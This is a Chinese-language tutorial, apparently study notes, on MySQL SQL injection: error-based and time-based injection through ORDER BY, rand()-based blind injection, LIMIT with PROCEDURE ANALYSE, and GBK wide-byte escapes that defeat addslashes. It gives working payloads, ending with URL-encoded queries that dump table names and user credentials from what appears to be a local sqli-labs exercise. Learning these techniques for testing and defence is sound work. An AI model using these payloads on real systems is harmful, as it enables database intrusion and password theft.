目录
order by 子句在MySQL中可以猜测表中的列数,再配合union select语句进行回显。
但是,当页面出现MySQL报错信息时,且order by后面有可控参数,此时就可以利用报错信息进行注入
select * from users order by updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1);
select * from users order by if(concat(0x7e,user(),0x7e),1,sleep(3));
延迟时间不是3秒,而是查询的数据条数*3=总共的延时时间
当SQL语句为真时就会有延迟,SQL语句为假时是以正常时间显示。
rand()函数产生的随机数是0到1之间,但是当给rand()函数一个参数时,这个参数就变成一个种子,这个种子生成的0到1之间的随机数是固定不变的
我们发现rand()参数为0或1时,我们使用布尔盲注再次测试
select * from users order by rand(ascii(mid((select database()),1,1))=8);
当if语句有效时输出为乱序,当if语句无效时输出不会改变顺序。
limit[位置偏移量,]行数:位置偏移量指MySQL查询分析器开始显示的函数,行数指指示返回的记录条数。
基本使用: select * from users limit 1,4;
在limit后面可以跟两个函数,procedure 和 into,into除非有写入shell的权限,否则是无法利用的,那么我们就自能从procedure找突破口。
benchmark函数有两个参数,第一个是执行次数,第二个是要测试的函数或者表达式
比如 benchmark(10000000,函数(1))
意思是执行表达式10000000次, 使mysql运算量增大而导致延时,类似与多表联合查询/笛卡尔积。
select * from users limit 1 procedure analyse(extractvalue(rand(),concat(0x3a,benchmark(10000000,user()))),1);
宽字节的字符大小为两个字节,像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,注意所有英文默认占用一个字节,中文占用两个字节。
addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数:转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() 函数:转义一个字符串
可以看出单引号被转义了,查看源码
我们在1的后面加上%df
1、那为什么加上%df就把单引号逃逸出来了呢?
这涉及到了mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\
也就是%5c变成了一个汉字“運”,而单引号逃逸了出来。
2、但是MySQL是如何判断字符或汉字的呢?
根据gbk编码,第一个字节ascii码大于128,基本上就可以判断。比如我们将%df换成%a1
这样单引号逃逸出来后我们就可以查询数据库中的数据了
1、获得数据库中的表
http://127.0.0.1/sqli/Less-32/?id=-1%a1%27%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())--+
2、获得users表中的字段
http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x7573657273)--+
3、获取用户和用户密码
http://127.0.0.1/sqli/Less-32/?id=-1%df%27%20union%20select%201,2,(select%20group_concat(username,password)%20from%20security.users)--+